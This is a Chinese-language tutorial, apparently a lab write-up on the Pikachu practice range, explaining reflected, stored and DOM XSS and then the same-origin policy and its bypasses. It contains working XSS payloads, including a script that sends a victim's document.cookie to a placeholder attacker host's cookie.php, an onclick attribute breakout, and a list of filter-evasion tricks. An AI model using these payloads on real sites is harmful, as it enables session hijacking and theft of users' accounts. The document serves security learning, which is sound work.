文章目录
前言 什么是xss跨站脚本攻击?
1.xss的分类:
1.1 反射型xss
1.2 存储型xss
1.3 Dom型xss:
2.同源策略:
2.1同源策略的定义
2.2同源策略的绕过
2.3 绕过同源策略的绕过
前言 什么是xss跨站脚本攻击?
因为网站程序对用户的输入过滤不足,导致hacker可以在网站上插入恶意脚本代码。
这些脚本代码在输出时会被当成源进行代码解析执行,弹窗显示在页面上,对其他用户造成影响,例如劫持cookie、钓鱼、挂马、盗取用户资料、利用用户身份进行非法活动或者直接上传木马病毒侵害主机。
1.xss的分类:
1.1 反射型xss
传参不被存储在数据库中,服务端只是简单的把反射型XSS用户输入的数据反射给浏览器,是一次性的。
举例:皮卡丘靶场,反射型xss。
输入1,查看回显信息,message=1&sumbmit=提交
依次输入2,3查看。
发现回显信息分别是message=2&sumbmit=提交,message=3&sumbmit=提交。
分析:message=我们输入的信息&点击提交的表单。
而本题是xss跨站脚本攻击, 我们输入的信息就是xss脚本代码的插入点,可以在网站上插入恶意脚本代码, 等同于message=恶意脚本代码&点击提交的表单。
我们插入<script>alert('XSS');</script>恶意脚本试试。
这说明我们插入恶意脚本已经被执行。
接下来便可以进行xss跨站脚本攻击。
(1) 劫持cookie:
- 弹出cookie:<script>alert(document.cookie)</script>
- 劫持cookie:
第一步:编写cookie.php脚本
第二步:
<script>document.location='http://主机地址/cookie.php //cookie地址
?cookie='+document.cookie; </script> //劫持cookie
第四步:访问document.location='http://主机地址/cookie.php 查看。
(2) 钓鱼钓鱼、挂马、盗取用户资料之类的大差不差,仅仅结合了csrf,深入学习时别忘了《网络安全法》。
1.2 存储型xss
传参被存在数据库里面可以重复使用。
输入1,2都没有回显信息,插入<script>alert('XSS');</script>脚本试试。
还是弹窗,感觉没什么特别的。
直到我多输了几次,每次进入都是满屏弹窗,一个接一个,有这时间,哪怕知道hacker入侵也只能干等着,想想那种xx的心......
1.3 Dom型xss:
不与后台服务器产生数据交,通过前端的dom节点形成。
输入1,回显你看到了什么?
输入2,还是回显你看到了什么?
插入恶意脚本<script>alert('XSS');</script>试试,还是回显你看到了什么?
好像是固定外链,点一下返回报错界面。
联想Dom型xss:不与后台服务器产生数据交,通过前端的dom节点形成。
所以你看到了什么?是前端的dom节点,检查页面源代码,
右上角,点击你看到了什么?进行检查,灰色选框自动跳转到代码行,下拉菜单得到源代码。
分析:
输入1
源代码<a href="1" _msttexthash="27140139" _msthash="89">你看到了什么?</a>
其中点击1跳转的便是我们的报错界面。
但是插入恶意脚本为什么也是外链?
不该是弹窗吗?
直到我们查看源代码,才发现:我们的恶意脚本<script>alert('XSS');</script>
因闭合方式空缺成了
根据提示:
构建' οnclick="alert('xss')">,弹出脚本。
2.同源策略:
为了安全考虑,所有浏览器都约定了同源策略-禁止页面加载或执行与自身来源不同的域中的任何脚本。
2.1同源策略的定义:
在同源策略中,"源"是由三个要素组成的:
-
协议(Protocol):如http、https。
-
域名(Domain):如example.com、localhost。
-
端口(Port):如80(HTTP的默认端口)、443(HTTPS的默认端口)。
只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。
2.2同源策略的绕过:
同源策略虽然安全,但在实际生活中,难免需要跨域访问资源:
-
CORS(跨源资源共享):服务器设置Access-Control-Allow-Origin等CORS头部,允许来自特定源的请求访问资源。
-
JSONP:一种非官方的跨域数据交换协议,通过动态插入<script>标签来实现跨域请求,但需要注意的是,JSONP只支持GET请求,并且存在安全风险,因为它无法验证响应内容的来源。
-
其他iframe、location.hash、window.name、HTML标签也可以用于实现跨域资源访问。
2.3 绕过同源策略的绕过
在绕过同源策略时,又引入了跨站脚本攻击(XSS)等安全风险。
-
只是严格过滤了恶意脚本语言的关键字,可以注释,编码,拼凑,大小写混合绕过。
-
标签语法蓸换
-
特殊符号干扰
-
提交方式更改
-
结合其他漏洞绕过
结语:xss攻击,同源策略,同源策略的绕过,绕过同源策略的绕过,怎么说呢,好像一场宿命的轮回......